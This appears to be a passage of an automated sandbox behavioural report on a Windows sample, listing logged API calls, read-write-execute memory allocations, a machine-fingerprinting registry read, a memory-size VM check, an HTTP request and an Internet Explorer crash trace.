CryptExportKey Sept. 19, 2023, 6:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000000039f2f0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 19, 2023, 6:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000000039f2f0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 19, 2023, 6:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000000408d30 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 19, 2023, 6:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000000408d30 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 19, 2023, 6:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000000408fd0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 19, 2023, 6:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000000408fd0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 19, 2023, 6:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b0826c0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 19, 2023, 6:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b0826c0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 19, 2023, 6:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b0826c0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 19, 2023, 6:31 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b0826c0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 19, 2023, 6:32 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b082810 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 19, 2023, 6:32 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b082810 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1

Collects information to fingerprint the system (MachineGuid, DigitalProductId, SystemBiosDate) (1 event)

registry

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx Sept. 19, 2023, 6:31 p.m.		1	1	0

One or more processes crashed (1 event)

Time & API	Arguments	Status	Return	Repeated
__exception__ Sept. 19, 2023, 6:24 p.m.	stacktrace: RaiseException+0x3d FreeEnvironmentStringsW-0x373 kernelbase+0xa49d @ 0x7fefdbfa49d RpcRaiseException+0x53 RpcExceptionFilter-0x2bd rpcrt4+0x173c3 @ 0x7fefdf373c3 ObjectStublessClient32+0x8bf CoDisconnectContext-0x107b9 ole32+0x443bf @ 0x7fefe0943bf IUnknown_AddRef_Proxy+0x1f5 NdrFixedArrayBufferSize-0xeb rpcrt4+0x35295 @ 0x7fefdf55295 I_RpcFreeBuffer+0x1b9 NdrRangeUnmarshall-0x5a7 rpcrt4+0x32799 @ 0x7fefdf52799 Ndr64AsyncServerCallAll+0xa9e Ndr64AsyncClientCall-0xf42 rpcrt4+0xdaf1e @ 0x7fefdffaf1e Ndr64AsyncServerCallAll+0x12ec Ndr64AsyncClientCall-0x6f4 rpcrt4+0xdb76c @ 0x7fefdffb76c NdrStubCall3+0xc6 NdrOleAllocate-0x3ea rpcrt4+0x348d6 @ 0x7fefdf548d6 CoGetInstanceFromFile+0x4cd3 HACCEL_UserFree-0x70fd ole32+0x170883 @ 0x7fefe1c0883 CoGetInstanceFromFile+0x511d HACCEL_UserFree-0x6cb3 ole32+0x170ccd @ 0x7fefe1c0ccd CoGetInstanceFromFile+0x5093 HACCEL_UserFree-0x6d3d ole32+0x170c43 @ 0x7fefe1c0c43 CoSetState+0x1450 DcomChannelSetHResult-0x34c ole32+0x2a4f0 @ 0x7fefe07a4f0 GetErrorInfo+0x599 ObjectStublessClient7-0xb1f ole32+0x3d551 @ 0x7fefe08d551 CoGetInstanceFromFile+0x78ce HACCEL_UserFree-0x4502 ole32+0x17347e @ 0x7fefe1c347e CoGetInstanceFromFile+0x567b HACCEL_UserFree-0x6755 ole32+0x17122b @ 0x7fefe1c122b CoGetInstanceFromFile+0x7992 HACCEL_UserFree-0x443e ole32+0x173542 @ 0x7fefe1c3542 GetErrorInfo+0x475 ObjectStublessClient7-0xc43 ole32+0x3d42d @ 0x7fefe08d42d GetErrorInfo+0x21e ObjectStublessClient7-0xe9a ole32+0x3d1d6 @ 0x7fefe08d1d6 TranslateMessageEx+0x2a1 IntersectRect-0x11f user32+0x19bd1 @ 0x77259bd1 TranslateMessage+0x1ea DispatchMessageW-0x42 user32+0x198da @ 0x772598da GetErrorInfo+0xf3 ObjectStublessClient7-0xfc5 ole32+0x3d0ab @ 0x7fefe08d0ab CoUnloadingWOW+0x117 OleCreateFromFileEx-0x1829 ole32+0x163e57 @ 0x7fefe1b3e57 ObjectStublessClient24+0x1876 CLSIDFromString-0x57a ole32+0x10106 @ 0x7fefe060106 ObjectStublessClient24+0x18f2 CLSIDFromString-0x4fe ole32+0x10182 @ 0x7fefe060182 BaseThreadInitThunk+0xd CreateThread-0x53 kernel32+0x1652d @ 0x76fd652d RtlUserThreadStart+0x21 strchr-0x3df ntdll+0x2c521 @ 0x776ec521 exception.instruction_r: 48 81 c4 c8 00 00 00 c3 48 85 f6 74 08 83 3b 00 exception.symbol: RaiseException+0x3d FreeEnvironmentStringsW-0x373 kernelbase+0xa49d exception.instruction: add rsp, 0xc8 exception.module: KERNELBASE.dll exception.exception_code: 0x80040155 exception.offset: 42141 exception.address: 0x7fefdbfa49d registers.r14: 0 registers.r15: 0 registers.rcx: 104654688 registers.rsi: 0 registers.r10: 0 registers.rbx: 0 registers.rsp: 104660640 registers.r11: 104656448 registers.r8: 0 registers.r9: 0 registers.rdx: 1 registers.r12: 0 registers.rbp: 0 registers.rdi: 0 registers.rax: 1900105330 registers.r13: 0	1	0	0

Time & API

Arguments

Status

Return

Repeated

__exception__

Sept. 19, 2023, 6:24 p.m.

stacktrace:

RaiseException+0x3d FreeEnvironmentStringsW-0x373 kernelbase+0xa49d @ 0x7fefdbfa49d
RpcRaiseException+0x53 RpcExceptionFilter-0x2bd rpcrt4+0x173c3 @ 0x7fefdf373c3
ObjectStublessClient32+0x8bf CoDisconnectContext-0x107b9 ole32+0x443bf @ 0x7fefe0943bf
IUnknown_AddRef_Proxy+0x1f5 NdrFixedArrayBufferSize-0xeb rpcrt4+0x35295 @ 0x7fefdf55295
I_RpcFreeBuffer+0x1b9 NdrRangeUnmarshall-0x5a7 rpcrt4+0x32799 @ 0x7fefdf52799
Ndr64AsyncServerCallAll+0xa9e Ndr64AsyncClientCall-0xf42 rpcrt4+0xdaf1e @ 0x7fefdffaf1e
Ndr64AsyncServerCallAll+0x12ec Ndr64AsyncClientCall-0x6f4 rpcrt4+0xdb76c @ 0x7fefdffb76c
NdrStubCall3+0xc6 NdrOleAllocate-0x3ea rpcrt4+0x348d6 @ 0x7fefdf548d6
CoGetInstanceFromFile+0x4cd3 HACCEL_UserFree-0x70fd ole32+0x170883 @ 0x7fefe1c0883
CoGetInstanceFromFile+0x511d HACCEL_UserFree-0x6cb3 ole32+0x170ccd @ 0x7fefe1c0ccd
CoGetInstanceFromFile+0x5093 HACCEL_UserFree-0x6d3d ole32+0x170c43 @ 0x7fefe1c0c43
CoSetState+0x1450 DcomChannelSetHResult-0x34c ole32+0x2a4f0 @ 0x7fefe07a4f0
GetErrorInfo+0x599 ObjectStublessClient7-0xb1f ole32+0x3d551 @ 0x7fefe08d551
CoGetInstanceFromFile+0x78ce HACCEL_UserFree-0x4502 ole32+0x17347e @ 0x7fefe1c347e
CoGetInstanceFromFile+0x567b HACCEL_UserFree-0x6755 ole32+0x17122b @ 0x7fefe1c122b
CoGetInstanceFromFile+0x7992 HACCEL_UserFree-0x443e ole32+0x173542 @ 0x7fefe1c3542
GetErrorInfo+0x475 ObjectStublessClient7-0xc43 ole32+0x3d42d @ 0x7fefe08d42d
GetErrorInfo+0x21e ObjectStublessClient7-0xe9a ole32+0x3d1d6 @ 0x7fefe08d1d6
TranslateMessageEx+0x2a1 IntersectRect-0x11f user32+0x19bd1 @ 0x77259bd1
TranslateMessage+0x1ea DispatchMessageW-0x42 user32+0x198da @ 0x772598da
GetErrorInfo+0xf3 ObjectStublessClient7-0xfc5 ole32+0x3d0ab @ 0x7fefe08d0ab
CoUnloadingWOW+0x117 OleCreateFromFileEx-0x1829 ole32+0x163e57 @ 0x7fefe1b3e57
ObjectStublessClient24+0x1876 CLSIDFromString-0x57a ole32+0x10106 @ 0x7fefe060106
ObjectStublessClient24+0x18f2 CLSIDFromString-0x4fe ole32+0x10182 @ 0x7fefe060182
BaseThreadInitThunk+0xd CreateThread-0x53 kernel32+0x1652d @ 0x76fd652d
RtlUserThreadStart+0x21 strchr-0x3df ntdll+0x2c521 @ 0x776ec521

exception.instruction_r: 48 81 c4 c8 00 00 00 c3 48 85 f6 74 08 83 3b 00
exception.symbol: RaiseException+0x3d FreeEnvironmentStringsW-0x373 kernelbase+0xa49d
exception.instruction: add rsp, 0xc8
exception.module: KERNELBASE.dll
exception.exception_code: 0x80040155
exception.offset: 42141
exception.address: 0x7fefdbfa49d
registers.r14: 0
registers.r15: 0
registers.rcx: 104654688
registers.rsi: 0
registers.r10: 0
registers.rbx: 0
registers.rsp: 104660640
registers.r11: 104656448
registers.r8: 0
registers.r9: 0
registers.rdx: 1
registers.r12: 0
registers.rbp: 0
registers.rdi: 0
registers.rax: 1900105330
registers.r13: 0

Performs some HTTP requests (1 event)

request

GET http://ie9cvlist.ie.microsoft.com/IE9CompatViewList.xml

Allocates read-write-execute memory (usually to unpack itself) (50 out of 236 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory Sept. 19, 2023, 6:23 p.m.	process_identifier: 2412 region_size: 2625536 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000002c30000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 19, 2023, 6:23 p.m.	process_identifier: 2412 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000002eb0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 19, 2023, 6:23 p.m.	process_identifier: 2412 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000772b1000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 19, 2023, 6:23 p.m.	process_identifier: 2412 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000772b1000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 19, 2023, 6:23 p.m.	process_identifier: 2412 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000772b1000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 19, 2023, 6:23 p.m.	process_identifier: 2412 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000772b1000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 19, 2023, 6:23 p.m.	process_identifier: 2412 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000772b1000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 19, 2023, 6:23 p.m.	process_identifier: 2412 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000772b1000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 19, 2023, 6:23 p.m.	process_identifier: 2412 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000000007725d000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 19, 2023, 6:23 p.m.	process_identifier: 2412 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000077282000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 19, 2023, 6:23 p.m.	process_identifier: 2412 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000077264000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 19, 2023, 6:23 p.m.	process_identifier: 2412 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000077282000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 19, 2023, 6:23 p.m.	process_identifier: 2412 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefc7d5000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 19, 2023, 6:23 p.m.	process_identifier: 2412 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefc7d5000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 19, 2023, 6:23 p.m.	process_identifier: 2412 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefe4f4000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 19, 2023, 6:23 p.m.	process_identifier: 2412 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007feff871000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 19, 2023, 6:23 p.m.	process_identifier: 2412 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000000007724a000 process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 19, 2023, 6:23 p.m.	process_identifier: 2412 region_size: 65536 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000003110000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 19, 2023, 6:24 p.m.	process_identifier: 2412 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef38c9000 process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 19, 2023, 6:23 p.m.	process_identifier: 2528 region_size: 10424320 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000002600000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 19, 2023, 6:23 p.m.	process_identifier: 2528 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000002ff0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 19, 2023, 6:23 p.m.	process_identifier: 2528 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000772b1000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 19, 2023, 6:23 p.m.	process_identifier: 2528 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000772b1000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 19, 2023, 6:23 p.m.	process_identifier: 2528 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000772b1000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 19, 2023, 6:23 p.m.	process_identifier: 2528 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000772b1000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 19, 2023, 6:23 p.m.	process_identifier: 2528 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000772b1000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 19, 2023, 6:23 p.m.	process_identifier: 2528 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000772b1000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 19, 2023, 6:23 p.m.	process_identifier: 2528 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000000007725d000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 19, 2023, 6:23 p.m.	process_identifier: 2528 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000077282000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 19, 2023, 6:23 p.m.	process_identifier: 2528 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000077264000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 19, 2023, 6:23 p.m.	process_identifier: 2528 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000077282000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 19, 2023, 6:23 p.m.	process_identifier: 2528 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefc7d5000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 19, 2023, 6:23 p.m.	process_identifier: 2528 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefc7d5000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 19, 2023, 6:23 p.m.	process_identifier: 2528 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefe4f4000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 19, 2023, 6:23 p.m.	process_identifier: 2528 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007feff871000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 19, 2023, 6:23 p.m.	process_identifier: 2528 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000000007724a000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 19, 2023, 6:23 p.m.	process_identifier: 2528 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000000007724f000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 19, 2023, 6:23 p.m.	process_identifier: 2528 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000000007724d000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 19, 2023, 6:23 p.m.	process_identifier: 2528 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000000007724b000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 19, 2023, 6:23 p.m.	process_identifier: 2528 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076fd6000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 19, 2023, 6:23 p.m.	process_identifier: 2528 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000077706000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 19, 2023, 6:23 p.m.	process_identifier: 2528 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000076fd1000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 19, 2023, 6:23 p.m.	process_identifier: 2528 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000077250000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 19, 2023, 6:23 p.m.	process_identifier: 2528 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000000007724a000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 19, 2023, 6:23 p.m.	process_identifier: 2528 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000776df000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 19, 2023, 6:23 p.m.	process_identifier: 2528 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000776eb000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 19, 2023, 6:23 p.m.	process_identifier: 2528 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefe1a7000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 19, 2023, 6:23 p.m.	process_identifier: 2528 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefe494000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 19, 2023, 6:23 p.m.	process_identifier: 2528 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefe491000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 19, 2023, 6:23 p.m.	process_identifier: 2528 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fefe496000 process_handle: 0xffffffffffffffff	1

An application raised an exception which may be indicative of an exploit crash (2 events)

Time & API	Arguments	Status	Return	Repeated
Application Crash	Process iexplore.exe with pid 2412 crashed
__exception__ Sept. 19, 2023, 6:24 p.m.	stacktrace: RaiseException+0x3d FreeEnvironmentStringsW-0x373 kernelbase+0xa49d @ 0x7fefdbfa49d RpcRaiseException+0x53 RpcExceptionFilter-0x2bd rpcrt4+0x173c3 @ 0x7fefdf373c3 ObjectStublessClient32+0x8bf CoDisconnectContext-0x107b9 ole32+0x443bf @ 0x7fefe0943bf IUnknown_AddRef_Proxy+0x1f5 NdrFixedArrayBufferSize-0xeb rpcrt4+0x35295 @ 0x7fefdf55295 I_RpcFreeBuffer+0x1b9 NdrRangeUnmarshall-0x5a7 rpcrt4+0x32799 @ 0x7fefdf52799 Ndr64AsyncServerCallAll+0xa9e Ndr64AsyncClientCall-0xf42 rpcrt4+0xdaf1e @ 0x7fefdffaf1e Ndr64AsyncServerCallAll+0x12ec Ndr64AsyncClientCall-0x6f4 rpcrt4+0xdb76c @ 0x7fefdffb76c NdrStubCall3+0xc6 NdrOleAllocate-0x3ea rpcrt4+0x348d6 @ 0x7fefdf548d6 CoGetInstanceFromFile+0x4cd3 HACCEL_UserFree-0x70fd ole32+0x170883 @ 0x7fefe1c0883 CoGetInstanceFromFile+0x511d HACCEL_UserFree-0x6cb3 ole32+0x170ccd @ 0x7fefe1c0ccd CoGetInstanceFromFile+0x5093 HACCEL_UserFree-0x6d3d ole32+0x170c43 @ 0x7fefe1c0c43 CoSetState+0x1450 DcomChannelSetHResult-0x34c ole32+0x2a4f0 @ 0x7fefe07a4f0 GetErrorInfo+0x599 ObjectStublessClient7-0xb1f ole32+0x3d551 @ 0x7fefe08d551 CoGetInstanceFromFile+0x78ce HACCEL_UserFree-0x4502 ole32+0x17347e @ 0x7fefe1c347e CoGetInstanceFromFile+0x567b HACCEL_UserFree-0x6755 ole32+0x17122b @ 0x7fefe1c122b CoGetInstanceFromFile+0x7992 HACCEL_UserFree-0x443e ole32+0x173542 @ 0x7fefe1c3542 GetErrorInfo+0x475 ObjectStublessClient7-0xc43 ole32+0x3d42d @ 0x7fefe08d42d GetErrorInfo+0x21e ObjectStublessClient7-0xe9a ole32+0x3d1d6 @ 0x7fefe08d1d6 TranslateMessageEx+0x2a1 IntersectRect-0x11f user32+0x19bd1 @ 0x77259bd1 TranslateMessage+0x1ea DispatchMessageW-0x42 user32+0x198da @ 0x772598da GetErrorInfo+0xf3 ObjectStublessClient7-0xfc5 ole32+0x3d0ab @ 0x7fefe08d0ab CoUnloadingWOW+0x117 OleCreateFromFileEx-0x1829 ole32+0x163e57 @ 0x7fefe1b3e57 ObjectStublessClient24+0x1876 CLSIDFromString-0x57a ole32+0x10106 @ 0x7fefe060106 ObjectStublessClient24+0x18f2 CLSIDFromString-0x4fe ole32+0x10182 @ 0x7fefe060182 BaseThreadInitThunk+0xd CreateThread-0x53 kernel32+0x1652d @ 0x76fd652d RtlUserThreadStart+0x21 strchr-0x3df ntdll+0x2c521 @ 0x776ec521 exception.instruction_r: 48 81 c4 c8 00 00 00 c3 48 85 f6 74 08 83 3b 00 exception.symbol: RaiseException+0x3d FreeEnvironmentStringsW-0x373 kernelbase+0xa49d exception.instruction: add rsp, 0xc8 exception.module: KERNELBASE.dll exception.exception_code: 0x80040155 exception.offset: 42141 exception.address: 0x7fefdbfa49d registers.r14: 0 registers.r15: 0 registers.rcx: 104654688 registers.rsi: 0 registers.r10: 0 registers.rbx: 0 registers.rsp: 104660640 registers.r11: 104656448 registers.r8: 0 registers.r9: 0 registers.rdx: 1 registers.r12: 0 registers.rbp: 0 registers.rdi: 0 registers.rax: 1900105330 registers.r13: 0	1	0	0

Application Crash

Process iexplore.exe with pid 2412 crashed

Time & API

Arguments

Status

Return

Repeated

__exception__

Sept. 19, 2023, 6:24 p.m.

stacktrace:

RaiseException+0x3d FreeEnvironmentStringsW-0x373 kernelbase+0xa49d @ 0x7fefdbfa49d
RpcRaiseException+0x53 RpcExceptionFilter-0x2bd rpcrt4+0x173c3 @ 0x7fefdf373c3
ObjectStublessClient32+0x8bf CoDisconnectContext-0x107b9 ole32+0x443bf @ 0x7fefe0943bf
IUnknown_AddRef_Proxy+0x1f5 NdrFixedArrayBufferSize-0xeb rpcrt4+0x35295 @ 0x7fefdf55295
I_RpcFreeBuffer+0x1b9 NdrRangeUnmarshall-0x5a7 rpcrt4+0x32799 @ 0x7fefdf52799
Ndr64AsyncServerCallAll+0xa9e Ndr64AsyncClientCall-0xf42 rpcrt4+0xdaf1e @ 0x7fefdffaf1e
Ndr64AsyncServerCallAll+0x12ec Ndr64AsyncClientCall-0x6f4 rpcrt4+0xdb76c @ 0x7fefdffb76c
NdrStubCall3+0xc6 NdrOleAllocate-0x3ea rpcrt4+0x348d6 @ 0x7fefdf548d6
CoGetInstanceFromFile+0x4cd3 HACCEL_UserFree-0x70fd ole32+0x170883 @ 0x7fefe1c0883
